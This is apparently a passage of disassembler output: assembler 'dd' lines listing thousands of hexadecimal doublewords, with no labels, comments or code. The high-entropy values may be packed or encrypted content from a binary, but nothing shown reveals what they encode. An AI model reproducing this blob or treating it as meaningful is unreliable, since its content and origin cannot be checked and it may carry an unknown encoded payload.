		dd 43EC4EE1h, 0A8A381A2h, 0D9004C58h, 0FA82B3D0h, 7F08BE0Eh
		dd 0CE5C3C26h, 46223101h, 41555736h, 44CD77CAh,	0A25583A0h
		dd 74A9823h, 623C3BC0h,	0C845C47Bh, 25983F83h, 0ED80E133h
		dd 0DA08F03Ah, 604452FFh, 21137F40h, 32198200h,	0A6CFED7Fh
		dd 0F9992E37h, 0F760C27h, 88DFD3C2h, 0C1B13AC3h, 0D873A7h
		dd 708BC2BCh, 0DF4137CEh, 178DE40Ah, 0D020D478h, 81609A21h
		dd 0A191D67h, 88C61814h, 1D006FCBh, 0B6DFEAC9h,	5C59739Fh
		dd 5A67AAD6h, 0A821F98Bh, 0DDDA8612h, 685021F5h, 61F1602Ah
		dd 1B743E5h, 87A50D6h, 9FA73BB3h, 0BA14D5B8h, 70E23A0h
		dd 64383BCCh, 80A8679Bh, 425A7CBh, 4324E4FDh, 0E80CCF3h
		dd 885AD80Bh, 787E05FEh, 5E5D5927h, 0B01680A8h,	0F548DF72h
		dd 0B8B58519h, 21805908h, 2DB00E76h, 17EA653Fh,	79386448h
		dd 0F1C4FE10h, 0E96A9300h, 0ECAA27B9h, 0E537EF00h, 3AFDDB1Ch
		dd 0A6FEC71h, 4B2E6362h, 3BC34164h, 1873D933h, 9AD08B32h
		dd 0D0002725h, 2655A57Dh, 14E81ED5h, 90A0FBACh,	17CED301h
		dd 34C3D802h, 0E06E67C0h, 3474C061h, 9B3FDBh, 0FB99D610h
		dd 903E64C2h, 0C8259C1Dh, 4A42CD40h, 54679871h,	520F88Fh
		dd 0CE756A07h, 6CA9C07Bh, 0E23CCD73h, 80284DF1h, 45D44A3Fh
		dd 0D6448C06h, 4A270BBEh, 6600E929h, 8243056Ch,	0C14BDA13h
		dd 307A5022h, 0D5114A38h, 0D0883E45h, 4A20A580h, 77DEFBh
		dd 0B4FE0FD7h, 0C4BB71C5h, 12FA897Bh, 30F42951h, 0C3403F58h
		dd 0C6FA331Fh, 0E1058C19h, 0AF0F530Ah, 178A6891h, 0B0C21BEh
		dd 0DD18C610h, 0DAEAFB0Fh, 883A9250h, 50068C73h, 0DC400B0Dh
		dd 53D10650h, 68645425h, 4336C11Eh, 811C49h, 0C3B80324h
		dd 2A820CA6h, 80492537h, 0D405A40Ch, 3EF11159h,	0F08FE882h
		dd 80B8E4Bh, 20CC9C00h,	54923659h, 0B0FDC309h, 5E202F25h
		dd 0D2E1DA0Fh, 72C52C00h, 0E3BF4E6h, 927967D5h,	0BD384052h
		dd 865AE155h, 71CC8050h, 0C39588Ch, 0CCD64515h,	0B8800A88h
		dd 0B6594A21h, 0E1320172h, 1801776h, 934465CEh,	3840B8E8h
		dd 5B44D003h, 3930F883h, 50A4A2DBh, 0D8980AD5h,	0C9330194h
		dd 405C5FB7h, 0E41EF0D0h, 9D855405h, 94069B2Bh,	7740503Eh
		dd 0BBAB3043h, 0E4279958h, 0FB00AA75h, 0DFEF0D58h, 3E84BF33h
		dd 0CC137A5Fh, 0C8344729h, 5971B043h, 720EBA31h, 111DD7h
		dd 3AB9524Fh, 2B180073h, 9BFE2C02h, 49022E19h, 3BD760DBh
		dd 0E460E528h, 934360C6h, 74F70379h, 7E675315h,	2B28E800h
		dd 1BE0018Ah, 2AF50F8Eh, 9E606578h, 0EE400835h,	68963735h
		dd 321F3481h, 0F0870303h, 792AFC68h, 0C6698507h, 53965EFBh
		dd 6C800220h, 0E67A21D1h, 2F23209Ch, 0CCF0469h,	89309087h
		dd 0E240821h, 5889202Eh, 462C2067h, 0BE5FA5h, 89E98330h
		dd 5553D3BCh, 0A8A4100h, 0B24D443Bh, 28D65C2Dh,	40E26785h
		dd 9A6FFE84h, 490032A1h, 30D2960Ch, 1F79593Eh, 5AA3D54h
		dd 0CBE2F402h, 0C0F4C858h, 0CC5B47FAh, 59E02C63h, 28B11C2Ah
		dd 5E34AE70h, 9E01C646h, 1FA83C34h, 7C6020EDh, 2A186248h
		dd 9298A842h, 77E4471Fh, 67B87E02h, 1A6864FAh, 786FE936h
		dd 80443067h, 0E4071A60h, 0D3E2C902h, 6849C7FBh, 489C0318h
		dd 0AB011C65h, 19F8B3Ch, 88B02406h, 35023402h, 810A8C0Fh
		dd 61129B38h, 30F63861h, 3D4D3BD5h, 0B19C4C0Ch,	53308CCAh
		dd 96B5019Ah, 110F5CF9h, 21D1912Fh, 68B01080h, 458CB8DFh
		dd 0B048F48Dh, 7D62F01h, 0ED0C6AEBh, 114897F2h,	0A49A8132h
		dd 0B16E566Dh, 0AE3AF811h, 9C0BBD90h, 21F53BBBh, 201F3384h
		dd 0EC530064h, 0BC408209h, 5182B673h, 18FE7940h, 750D001Ah
		dd 6D3FC1F5h, 1602E177h, 0FFF7E079h, 62A449FEh,	0A8F7EC62h
		dd 0DFE879C0h, 27FB3053h, 0AABD99B8h, 90EE472Ch, 74D6467Ch
		dd 0F3D23302h, 0E04E2EC8h, 0BA376B3Ch, 3158FA80h, 0F030C135h
		dd 1339817Ch, 3062E072h, 20238C72h, 69B01D01h, 0E10DFh
		dd 31B0356Bh, 205B4C14h, 2D074D68h, 50777EE9h, 0C406D0A5h
		dd 0A130C018h, 0C050FC97h, 0A1F772h, 0C8639152h, 0E561B030h
		dd 8A8F5313h, 2268DC14h, 6BDD0D51h, 301883CFh, 7F673663h
		dd 0AB133318h, 0AAE0123Ah, 84D8D3F8h, 0D44F1AF9h, 0FE056BA7h
		dd 0A9160843h, 0D4099495h, 0AC88179h, 9038831h,	14C9D4C2h
		dd 0B9D82863h, 0FFEA30EAh, 0C7184490h, 39050DCh, 0D671C537h
		dd 47B84FC6h, 0C8A0F769h, 0A458ABB5h, 0D1CAFCB0h, 7011FC28h
		dd 0CF4A3A80h, 448CCE45h, 2200BFD3h, 0D8C4AA4Ah, 21EA8D4h
		dd 9940A770h, 68A4C3AFh, 3BCF600Fh, 8C93FC3Fh, 0EC02944h
		dd 60E725A6h, 628154E0h, 49146DE0h, 91980B08h, 41850CCh
		dd 0B019048Ch, 0CEF0DF1Dh, 119F0074h, 64FD05B0h, 0D34229A1h
		dd 267280F8h, 86F17929h, 0BCFF7F05h, 0CC1068AAh, 0D8127238h
		dd 9014F39Bh, 84E91FCCh, 80403B14h, 0DF66B012h,	8F448C28h
		dd 0B04A016Ah, 5E9D83FCh, 8A27FD7Ch, 34140951h,	0EC5742h
		dd 678555AAh, 0A0A8E47Ah, 744A3CF2h, 30202029h,	72028C9Bh
		dd 6C0A1C1Dh, 426C7132h, 30607A30h, 2C009F61h, 50FE7FCCh
		dd 170824Dh, 2F578DFh, 9FF2BFE0h, 39306788h, 60400B0Ah
		dd 7CB880E9h, 2B4A5B08h, 0EF4A5C01h, 0E4512DAAh, 9FFCFFA9h
		dd 957D16h, 0ABF0C310h,	0B6A2EDD3h, 8517B514h, 8C8DBCA0h
		dd 0CEB63C00h, 0E233752h, 14FC0053h, 5967F826h,	6248BA6Ah
		dd 8C2FBC38h, 94047F7Ch, 0EC3F16FCh, 64389889h,	18CD1BCh
		dd 0AB837279h, 0DC873959h, 5C040812h, 0F38B5E8Fh, 58B23891h
		dd 0A183AC42h, 3831A0D8h, 0EDC9ECh, 0EE231E0Fh,	0DA24EB09h
		dd 0F17BBA12h, 0EAE43C44h, 13C00608h, 48DF73B0h, 69E07CE0h
		dd 0B00B04Bh, 0F4238DE6h, 48C78BDFh, 0E8241C28h, 5EBC2464h
		dd 0EE044C46h, 81E43159h, 30F5D018h, 0F1266C6Ch, 0E8A4BC54h
		dd 9D18FB76h, 80070D3Eh
		dd 2D3F4B4Eh, 1379221Ah, 1294DC7Bh, 0DFC8CB5Ch,	1FAA00E3h
		dd 82FD4172h, 0F02BB914h, 0B470BA8h, 50E0A25Bh,	79405936h
		dd 18518D1h, 0DE97A27Ah, 40808743h, 29022BF0h, 0BC9C6173h
		dd 0A3AD00DCh, 6C536918h, 8D496099h, 0CEC00014h, 70350991h
		dd 0F34F3A5Bh, 711850BCh, 0E4DF6186h, 0E53CAA0Fh, 90168987h
		dd 20E32A2Ch, 0BC03EE5Fh, 7BDD3612h, 0F8984CF7h, 1D8CDCE8h
		dd 0C7FDBD56h, 70FB01A1h, 0E95B0971h, 6353370Bh, 5F4401D7h
		dd 6C6328FFh, 843034E2h, 0B42D5877h, 17AC8B28h,	0A12023Ch
		dd 40586FE8h, 45C84A33h, 0D7226646h, 4A3BBA07h,	0E0500AE8h
		dd 23421A5h, 0AA3E2602h, 0A8457E84h, 0D9638EE4h, 0CCBD1FF9h
		dd 5C01477Ah, 0F3E1B287h, 3571A878h, 50C0D84Ch,	3F98CAFDh
		dd 450917A5h, 0D8972890h, 6380F991h, 0D09BC0F3h, 0CC472B00h
		dd 0CD920807h, 885B2D45h, 40994483h, 372509D8h,	5DC7982h
		dd 80A5F43Bh, 0D299E0FBh, 0B5F71D00h, 90355642h, 2C090D74h
		dd 7370FA5Fh, 302EA298h, 0EC00CF1Ch, 0E280B2E5h, 1370944h
		dd 2DBABD9Ah, 82F283A8h, 855C1A50h, 0EFA4C186h,	0DFF0CA05h
		dd 863C0F63h, 21D0F627h, 0C4C349D5h, 28E07345h,	0F88E84A1h
		dd 4258C78h, 0F43808DFh, 3B18FB74h, 0A684B303h,	819CBC3Fh
		dd 4830D60Fh, 56864264h, 6987B06Ch, 484BFAE5h, 0C00E94D2h
		dd 0C273EF4Ch, 10412544h, 46818A5h, 0FC0A161Dh,	20FA323Dh
		dd 8A1D7032h, 0ECFD3007h, 2D2406CCh, 8B227CA2h,	0A9F9AA30h
		dd 7A3CE488h, 0CFB82739h, 8190480h, 9405E541h, 0D1335B0Dh
		dd 406264A4h, 44173A2Dh, 3808F23Fh, 1D73C3A6h, 18740A89h
		dd 7B3788FDh, 0C3DA3FEh, 0B80B003Fh, 865E883h, 0FF700740h
		dd 427AA69Bh, 0ACA4385Eh, 36C0A0F0h, 0C8DAAB2Ch, 6404456Bh
		dd 781460F4h, 593B6A0Bh, 0F9A53B46h, 617474A4h,	24204A3Eh
		dd 5874962Eh, 4A0406BBh, 0E673A9E3h, 79169680h,	50B3E2h
		dd 2CAEB6DEh, 0CE01B7ADh, 0BA8EF30Dh, 16EC4961h, 4E79B825h
		dd 53E840E5h, 112EB1F9h, 55173C70h, 0C1F835Ch, 14488890h
		dd 1F8CFDE8h, 40A46B26h, 0BD4C706Dh, 5096AF20h,	0A7DB7780h
		dd 8F3FB6h, 0CE61F4D6h,	0EFDF7F68h, 2DA4F509h, 0FFD068D0h
		dd 5B4907B3h, 7660F6C0h, 630019C7h, 0F0751CEFh,	4DEC376h
		dd 0E00B0A07h, 2D1881D2h, 2B5BE01Eh, 670B40B6h,	0F4848031h
		dd 0C083AA11h, 2502F589h, 0A30743FDh, 984FE4D8h, 0C8B2B0A0h
		dd 4690A263h, 0F484644h, 0CB3A3BC6h, 0EA01C6Bh,	0D02599C1h
		dd 0F65524C0h, 1F06169Bh, 0C283BB0Ah, 30CA0090h, 0CFD47E10h
		dd 39C7260Eh, 0E19CB436h, 8064BC60h, 0D57E033Fh, 507F11F3h
		dd 8A95B800h, 6043A19Fh, 82790178h, 670B41D7h, 43B2A3Ah
		dd 5EF68C7Fh, 0B7CFBC02h, 0F0EBE079h, 0EC4D4CA8h, 0B00C5220h
		dd 59F24159h, 0E8DF0F21h, 459DB5CCh, 84BC2343h,	2298E490h
		dd 0B0170E8Ch, 3816DF6Fh, 0F017568h, 0CFF68AB0h, 53E45A97h
		dd 40A095AFh, 7F7AD1DDh, 0BFCCA402h, 4079181Eh,	0B6DF9Ch
		dd 0D3A38981h, 644475FBh, 11409D95h, 0B5B980F9h, 9536F3C0h
		dd 0A6C58000h, 0F8C28907h, 0F17BF701h, 18FF7984h, 0FDD7007Eh
		dd 2F700A8Ch, 0CF268B3Fh, 6101B8D1h, 8E67A471h,	738551B9h
		dd 808BF7B1h, 15212C7Ah, 8C7E0900h, 0D30CBD7h, 16D43EB0h
		dd 8B84B113h, 639F3Ch, 19D79130h, 0B31C74EAh, 0F0E86C58h
		dd 1C38CC24h, 2C7B4740h, 4708A297h, 61F44450h, 4C83994h
		dd 35CD5AE9h, 0F20CA254h, 0E8413083h, 9303FA02h, 630CFBDBh
		dd 91EFF070h, 0C970B4D2h, 0C6110897h, 86245B80h, 74A5ED0Ch
		dd 960D764h, 35090FC5h,	90AF33EDh, 740B1D2Ch, 9D9F0031h
		dd 4856C4A4h, 6E1F503Eh, 40571E5h, 883EA0DCh, 0FB035A23h
		dd 802BEAF2h, 0B30FF26h, 8C67E2D0h, 8D89A00Eh, 0A94C2C58h
		dd 0B76C8360h, 90959C63h, 6900646Fh, 68380B21h,	0E305D82Bh
		dd 5ADCB1EFh, 0A817988Fh, 0A1B4300Ah, 731A4DFAh, 59288FE0h
		dd 18347990h, 6BF2F89Bh, 0D8E4597Ch, 0FDA05300h, 6326DD7h
		dd 82CE2DCBh, 37137802h, 9E140309h, 77DAF880h, 0A4531615h
		dd 0D67C8839h, 27B80288h, 388FFB6Fh, 0B52F2FD1h, 0B874897Ch
		dd 5EC0540Eh, 0B8021CEh, 12E8C239h, 708F878Bh, 3FE39Fh
		dd 8F32C01Fh, 4AAFD1FFh, 87CD8F2h, 641F5B17h, 46CF9C21h
		dd 1F1FC43h, 0D3660421h, 3C2FA353h, 0BCF458DCh,	0C0978CFFh
		dd 12E34E17h, 0E4FC0886h, 0FD005D04h, 61DFA47Ch, 144775EBh
		dd 0FC440C5Bh, 79320700h, 0FE28BD9Ch, 4B3DBC74h, 0E5DF8F5Ch
		dd 0E02F529Dh, 800FB23h, 25F87035h, 0D22D1196h,	0C0905CA4h
		dd 2018A59Bh, 1FD70261h, 94E4DF11h, 4160D846h, 0F81B1AECh
		dd 75670192h, 62E48FABh, 84808FD7h, 8522643Ch, 3B10A0ADh
		dd 7CB812F4h, 0FF23103Ah, 0B2BCE01h, 0EDD4F8B1h, 0C4EC53F0h
		dd 33FDA2h, 0DC3A56F3h,	0F2B8526Ch, 2A80425h, 52F8679Ch
		dd 0FB0CA0BCh, 0EFFC80A1h, 0F9C45CA5h, 0A06A1067h, 0C719525Ah
		dd 675147B4h, 4D58BAECh, 0DA00545Eh, 0DF95645Fh, 0FA146352h
		dd 48444D67h, 7D1E1C5Ch, 0C6EC668Bh, 538B200Ch,	127927h
		dd 0E4E1208Ch, 5E74B6EAh, 32028E46h, 0C2866290h, 4CD068C0h
		dd 0A50A372Fh, 54E09B98h, 0FFE918E8h, 201389C0h, 700D1F6h
		dd 0BF9248A8h, 2D70664h, 0ACD56B30h, 204060F9h,	202227Eh
		dd 3CEF75EDh, 37B8481Ch, 29FB276Ah, 0FD648467h,	955BD60h
		dd 928D4B0Fh, 0EA48C07Ah, 0C2CD1404h, 322F8A61h, 3B078E3Dh
		dd 25009D0Fh, 8848340Fh, 0B426890h, 524205Eh, 17017F8Fh
		dd 0C8770F1Ah, 0B0505F58h, 916A5BBh, 9FABE5EEh,	29AB501h
		dd 0B88C6863h, 8C1D8C2Fh, 0EE40B32Ch, 804D70ABh, 77E91C2Dh
		dd 0E64E0134h, 6987E537h, 0F0431018h, 38734705h, 0B8B8F05Bh
		dd 582F944Eh, 0EC00F823h, 0D0963311h, 0C4F30616h, 59685347h
		dd 0F1505231h, 0D47266C8h, 0C65F220Eh, 12A69A00h, 0BD0B85B6h
		dd 0E8E166B9h, 4C08178h, 120217A9h, 0B7C8867h, 9201C601h
		dd 74E57B11h, 1CCE2A30h, 0B0C846DBh, 9454970h, 0D766A209h
		dd 1D800B3Dh, 9F8F1110h, 7A244D41h, 59FA20DFh, 629C7BE0h
		dd 0D9CCD9B8h, 0D2188Dh, 74DDBE8Ah, 0B0EA611h, 68E08060h
		dd 9E19045h, 0F17FC579h, 80441467h, 7C0BE60h, 0E4D20C04h
		dd 0A8A07F33h, 28FA2F5Ah, 2C91F89Dh, 3B7E9480h,	5CE6CAACh
		dd 2D8F5009h, 0AF5090A8h, 37D32216h, 5C63B83Ah,	105C48B8h
		dd 10158ABh, 363B7CF4h,	0AD1C40DFh, 5E402FA6h, 97750566h
		dd 56457FE1h, 0C850CB80h, 97E7C094h, 0FB0B4AF3h, 89CBCC76h
		dd 538C6801h, 6C3001C8h, 4A894F55h, 0E823B5h, 0E3DA64B9h
		dd 9639A0Fh, 18C91D94h,	8B1018D0h, 9B0BBDCBh, 8C822A47h
		dd 80713644h, 56182FD9h, 19230600h, 4D711317h, 0DABD0982h
		dd 0D0F9F91Fh, 5318DCD9h, 0FC7B357Eh, 0D15D2E0Bh, 920180D9h
		dd 2AE12544h, 0E8943401h, 3468F3B2h, 0CE7E8C0Eh, 4CE7255Fh
		dd 1608E44h, 0EB01050Dh, 72E844CFh, 0EFCC805Fh,	53DF1529h
		dd 0AA1E9C6Bh, 0F64064FDh, 32CFA900h, 3ADC1FAEh, 6107022Fh
		dd 0DB4F5337h, 2127040h, 2864F726h, 0B8231D40h,	7C4938D6h
		dd 0FEC78E0Bh, 9797A046h, 83C49100h, 0F4BA38E5h, 0B4B36C83h
		dd 3BA87F01h, 81782096h, 36FF0B10h, 676A9B04h, 88FCCEFDh
		dd 6213C333h, 0D1EF4980h, 0A41A0300h, 393CD399h, 1BE01802h
		dd 7212708Fh, 4FA41697h
		dd 81490FBh, 21C1EF53h,	230F6BDDh, 359C9060h, 0B619580Bh
		dd 0D10CE0B0h, 0F3A024Ah, 5B9C11C3h, 8794489h, 0A6188F79h
		dd 0FD52381Eh, 0D89FAABFh, 0C5EB2CBEh, 672F64D4h, 6505BC00h
		dd 0E6A83B6Ah, 0FD70205Ah, 0E83E0236h, 2F9A8059h, 0ADD3295Dh
		dd 33AB12F9h, 0F1C0A00Bh, 0D0D23612h, 534DACC0h, 902A60A8h
		dd 0BD61E8DEh, 0DBE00109h, 13D4D883h, 1228048Ch, 0F08CF660h
		dd 2C0DAE7h, 7FFD3E1Fh,	0C706F16h, 0C024794Bh, 0CF088C09h
		dd 326F6218h, 538D36C0h, 0FC657F2Eh, 20BF6B89h,	59408810h
		dd 597C69E4h, 0F9E48C65h, 1A12FB60h, 8CD3F41Eh,	67E95398h
		dd 49946089h, 0DF243CEAh, 43D180C1h, 0E821C2C8h, 0AFB81C29h
		dd 0A93B5D01h, 5956194Bh, 2F489AECh, 309D782Bh,	0E7874C91h
		dd 0AC68FBFFh, 0C01EA6Dh, 841E2BC9h, 10FDBE06h,	11CA60h
		dd 0D9FAD189h, 0D7977835h, 0E0B7E225h, 5D5EE514h, 801D9CE4h
		dd 88518967h, 6020187Ah, 0EB3CA0CDh, 434D8637h,	3177468h
		dd 0E84B5CD3h, 90C11DAh, 11094E8h, 0AD0C157Eh, 248BAAB8h
		dd 0C9007304h, 0B692A236h, 26F2487Fh, 2DF80B0Fh, 333918C4h
		dd 2544037h, 28D45DC4h,	0BCD11911h, 0CF83D800h,	5FC7E01h
		dd 0DD7C97D0h, 454C234h, 0D701E8E4h, 588532FDh,	44DC8491h
		dd 27F3256Bh, 0ED68C42Dh, 798C0121h, 670A9429h,	9DE0F040h
		dd 0FBD3C122h, 6F5F8ADEh, 53DD6C60h, 613240DBh,	56E3DF00h
		dd 5CE97091h, 4E39766Ch, 23902F88h, 838D01F8h, 0EC7A4A4Fh
		dd 0FF1F7CCCh, 20410E54h, 9FDA8666h, 6E3FB825h,	82C8007Ch
		dd 3EE8DF1Fh, 20D0E05Ch, 3201F0B3h, 0EF871713h,	403A8454h
		dd 0A4099B98h, 37FAC891h, 530C8550h, 5E1380Ah, 0AA43DC2Dh
		dd 0DA58903h, 63F01C20h, 0C53B7908h, 0ED2017A0h, 578FDA00h
		dd 5B452709h, 0BD375BDh, 82F06CA3h, 8A1FBC82h, 0DCBDE625h
		dd 78081A19h, 6060899Eh, 11E89F65h, 21C58083h, 90A5B4h
		dd 0BA763523h, 0A307FC37h, 0C5E66A25h, 670AC410h, 0D01A9532h
		dd 29421258h, 326C37B7h, 0A4D88354h, 95BE1F00h,	43F07ACCh
		dd 99B7017Bh, 1D740246h, 64A0C333h, 4026EEE1h, 467434AEh
		dd 9A6901FAh, 0E1968DB0h, 104EF061h, 99CADD88h,	0E8BB0B00h
		dd 0B78F9F0h, 958F8BDCh, 807298ABh, 29B16A00h, 9F9B573Bh
		dd 564F003Eh, 31E56589h, 0C990B43h, 0EBE07F07h,	8A78411Bh
		dd 4080D1BEh, 5208C3E2h, 6227541Dh, 6344A05Ch, 195D27Ah
		dd 0ED173184h, 80E167A6h, 76A5A9E9h, 3BDBA1Dh, 7EB6043Ch
		dd 0AF9B607Ch, 5B954CD0h, 0BC9CA371h, 473B978Bh, 60C66498h
		dd 7F362444h, 493C91E1h, 4C646CC5h, 6BCCC064h, 5B7A0199h
		dd 0F169F765h, 80DCC4DBh, 0F31FBC1Eh, 4A01C8EFh, 0FBDF3729h
		dd 54349836h, 80072445h, 6B8BC1D8h, 33643183h, 163622A4h
		dd 3DBFB30Ah, 0B2487278h, 8FDF30FDh, 0D0D1360Eh, 93525F85h
		dd 0B4379CF0h, 878F446Ch, 0B0F36BE8h, 65AB58h, 9B847FE3h
		dd 5EA6542Ch, 70821C5Eh, 4B686603h, 0C0F8DAE6h,	55C978D6h
		dd 84FC4C1Fh, 488A0901h, 44465975h, 34B00154h, 6042F2FEh
		dd 634FC6EAh, 0A7C0209Ah, 0E9F987FEh, 0CCE5A93Fh, 0AF14131Ah
		dd 0CEDF1831h, 545C43D4h, 7DE466h, 0FCF3CDFDh, 0E7BD963h
		dd 0A1564500h, 0C0BF554Ah, 95E6B6h, 0C7914130h,	4B33E571h
		dd 3C658492h, 74C867A8h, 0AC370854h, 74264FCFh,	0E0022760h
		dd 7C04BD5Bh, 147CA812h, 4707009h, 0A9184736h, 7B08C8h
		dd 754C9574h, 1DE96F86h, 256C0C02h, 0FE19BE73h,	0B42B4074h
		dd 757429C2h, 67C6B007h, 60E11B4Fh, 0E83016CCh,	739E8850h
		dd 0ABD6E401h, 61463420h, 0CB133ECh, 268B53DFh,	0BB169CD0h
		dd 83E0A57h, 0C8008023h, 581929DEh, 769602B7h, 0EE6BC16h
		dd 6724F846h, 0C0405CE5h, 0C1CE3F4Ch, 496FD318h, 2C3F6A84h
		dd 0D6008C7Dh, 4FF01360h, 241F74A3h, 0EBDC0FC0h, 7E70CC5Bh
		dd 2CA9006Fh, 0AA397F94h, 0D8B26548h, 9D7CB925h, 818E9104h
		dd 2EE18F9Ch, 4EC2AD8h,	7E888A72h, 8B40C1B3h, 53425ABh
		dd 0FE0489A0h, 0D6D87Eh, 214BCCBh, 5C1A6954h, 4722370Eh
		dd 0DCC5530Bh, 783DA0CDh, 7F1C2DACh, 0D4034D51h, 13BFA6DBh
		dd 0E656BD59h, 0C02CE014h, 0E05D160Ah, 0FFF100EFh, 28BD870Bh
		dd 408BED4Eh, 0A0CE0A88h, 2C02DC15h, 122AB84Ch,	9F453A8h
		dd 74796DC8h, 0D964590Ch, 9E4C00A4h, 2582BED7h,	48058702h
		dd 7FF35B08h, 3000ECFCh, 10682BC5h, 0D4350B0Eh,	5C6018A2h
		dd 16456Dh, 0C8E1AE4Fh,	0F3497135h, 1808ED67h, 750920BCh
		dd 39AB0057h, 0A502CE5Fh, 1B00160Bh, 7E92E121h,	7FA9C6h
		dd 0F3AE7645h, 0B49E71F6h, 0CFC0C300h, 5AC48D08h, 865E0040h
		dd 0BD9F677Ah, 0E7072455h, 0FC0CBE07h, 79901480h, 18E90F74h
		dd 93A06823h, 37AE29E7h, 0A7D94506h, 3604491h, 4E8AE64Dh
		dd 0AA90D014h, 6B7488ECh, 52816660h, 0B18AEEh, 346AFDE0h
		dd 4E474601h, 7764B57Ah, 0A4C075D0h, 0E2EDE913h, 0D37B071Fh
		dd 40EEF8ECh, 353B1776h, 1D80269h, 4CB7C38Eh, 0A6C1484Dh
		dd 8A04F30Ch, 6BF81453h, 0FB072F2Ch, 0B27B2C8Ah, 0C8B1393h
		dd 3F10E98Eh, 0F501C359h, 7442BFB8h, 0AFDC6D28h, 80BCA2AAh
		dd 0D80A25ECh, 0A950068Ah, 851314Bh, 0EE213A60h, 0C190A3Dh
		dd 60EBC383h, 0F74C7F50h, 747E00C5h, 6429CB4Ch,	4BAD032Bh
		dd 1D20AE28h, 16EC45ADh, 0C8D90555h, 37FC3825h,	0C01D7D75h
		dd 0FA40B13Eh, 0F4FCFFD9h, 6D2302C7h, 0B57C77E3h, 0DDA5002Fh
		dd 2CFC2A6Ch, 1B450A24h, 40F50834h, 6B05BFBCh, 5C50C4DFh
		dd 48C4120h, 0FC276CD8h, 27B3620Ch, 956B0084h, 2B03143Fh
		dd 78BAA5E9h, 2C47B03Eh, 0F0C8AB93h, 0A0E741C3h, 0FBC71E0h
		dd 0AC4EBA43h, 0AB378594h, 0BBC0BE18h, 0EB851CD8h, 3DB3301h
		dd 5777E293h, 1CD64848h, 79FC0D6Ch, 2B822C3h, 716CDEBEh
		dd 98A3441Ch, 38882887h, 691DA00Eh, 20008F73h, 34E0B3A8h
		dd 505A3B74h, 0FA770505h, 60D8C536h, 548AF024h,	11E01423h
		dd 0F8500069h, 0F0318E8Ah, 9FAD045Eh, 81F6DC87h, 0ACC1C4h
		dd 3C802D6Bh, 8A064940h, 18E5C9CBh, 4744FC87h, 0B9DA5C60h
		dd 3941B731h, 2187701Dh, 45B832DFh, 7E9C2280h, 86CDF30h
		dd 0A34FC24h, 854BB264h, 6ACE8D80h, 7A002CD5h, 0AB30C010h
		dd 4635722h, 3CBDC448h,	0FE608165h, 3F904195h, 9C6D7113h
		dd 0A141B640h, 0AAF93319h, 313F7042h, 0C8F2E458h, 1F227D46h
		dd 8040303Ah, 0F2FA321Ch, 0FCD9720Eh, 27AC0298h, 4CA176ECh
		dd 42F1AC84h, 0A36CCAF3h, 7CB5D4h, 0E4752BE9h, 914888E6h
		dd 0F7185FF8h, 54B87214h, 476D0C96h, 3C391B2Dh,	0F8077C98h
		dd 74CAE74Fh, 0AC427121h, 0E4CBD089h, 604EE827h, 567E2568h
		dd 0B1401D33h, 91BBD03Ah, 0D3EC8Eh, 0C9743202h,	8AD5B944h
		dd 0B7F2F073h, 59543F01h, 0B1EA1C0Ch, 9CCD3882h, 8040B6F3h
		dd 0FEEACBD2h, 737E961Ah, 229C0459h, 2304CF64h,	0D464001Eh
		dd 0C8A613AFh, 0A527BC18h, 0A899B460h, 99F0B6F0h, 9AA90A50h
		dd 3DB48080h, 32E26827h, 0B207DD2Eh, 804DBA00h,	522C8F30h
		dd 245588CBh, 8C04B420h, 4F8AE707h, 6428D814h, 0EF534064h
		dd 157DC8Ah, 0D43B86FCh, 0F1BCC2E4h, 16A082A7h,	83179DCBh
		dd 8DB7D3E8h, 0EF10888h, 0EBAE1B0h, 6CE98BA0h, 0E004F368h
		dd 18EEC038h, 12C8349Ah, 6200C5C7h, 1B51880h, 70582FD3h
		dd 51A1042Dh, 767F9Ch
		dd 0EC213E11h, 23F40038h, 0AF080B0h, 20C1468Ah,	3B611B19h
		dd 83D48884h, 40BC82A9h, 116CD930h, 8804FC26h, 18B80AFh
		dd 8360A86Bh, 5872B101h, 0BB079D62h, 50388BDh, 9F113F74h
		dd 0ECD03048h, 0CC0B8CAFh, 8789633Bh, 9FD04734h, 2ABC765Bh
		dd 6C4AD0Fh, 173F0349h,	1D7C5940h, 8A5698A8h, 394B9300h
		dd 74FC2B38h, 4604900Ah, 8AED0106h, 6B881459h, 0F52D000Bh
		dd 750E4D8Ah, 0BA80037h, 77D7F09Fh, 3434A978h, 98C1286Eh
		dd 14007593h, 1C00CC70h, 2D8B8EC4h, 79CA0D62h, 9943601Fh
		dd 50CB3D12h, 800B023Ah, 0F42EA441h, 5CD9E5B1h,	68BC5036h
		dd 0DBE0008Ch, 23D5AB82h, 0CA3A589Eh, 16BD02F3h, 464E12D9h
		dd 3E3C46D0h, 0C8EF9F59h, 337038A4h, 0F7EA41h, 0D93A1D62h
		dd 2E8AD7F6h, 1384D005h, 64D1425Bh, 58408246h, 0F0A0C233h
		dd 0E5FF09D1h, 608E6B28h, 1F161927h, 0D21CAC25h, 0C833F84Ch
		dd 468ADD0Ah, 192238h, 7A0A20EDh, 445F90CAh, 183A0958h
		dd 1A2102A8h, 535A0069h, 0E8631D0Ch, 280B479Eh,	1D8EB72Eh
		dd 81B211C4h, 61A873F1h, 988353F4h, 0E23E09E4h,	498076EFh
		dd 4D12C7AAh, 732BB00h,	0F53C8833h, 0D7C0E01h, 5C01DDE4h
		dd 20BCDFF3h, 1E40A9B4h, 639C2471h, 0C29A855Ch,	0D8B45C5Ah
		dd 1A9C907h, 83B83C00h,	7CE5FDD3h, 0D00B267h, 13293B8Ah
		dd 0A2B42348h, 0E373018h, 8961C00h, 0C43285E3h,	0A4E5247Eh
		dd 0CB890758h, 0AE8FAEBh, 11D0201Eh, 0A2681FAh,	31F68AD3h
		dd 3EEB1012h, 7718000Ah, 0F98E9DB0h, 64480843h,	2CE3267Ch
		dd 0BD18FD5Eh, 3F495406h, 0E83944EEh, 28B449E7h, 0B60CF20Bh
		dd 906F7C05h, 213B1674h, 41900150h, 0E7D97702h,	0E86B9CC2h
		dd 290E9A60h, 596C2358h, 340E183Ah, 82899278h, 0EC300320h
		dd 1458118Ah, 80678880h, 0A98AF42Ch, 0CE00E5F7h, 4A596412h
		dd 9A96279Dh, 0B1050B60h, 7C9D90A9h, 409FB011h,	0B2766533h
		dd 0A103134Fh, 0CB7E9F0Dh, 380F80CAh, 9C2F021h,	226D79DBh
		dd 1D910097h, 99A7DA80h, 62FA2FC0h, 4F1CCD1Bh, 0FED29021h
		dd 440D0536h, 3DFE72Ah,	0D5C17687h, 8647700Ah, 956B9CB8h
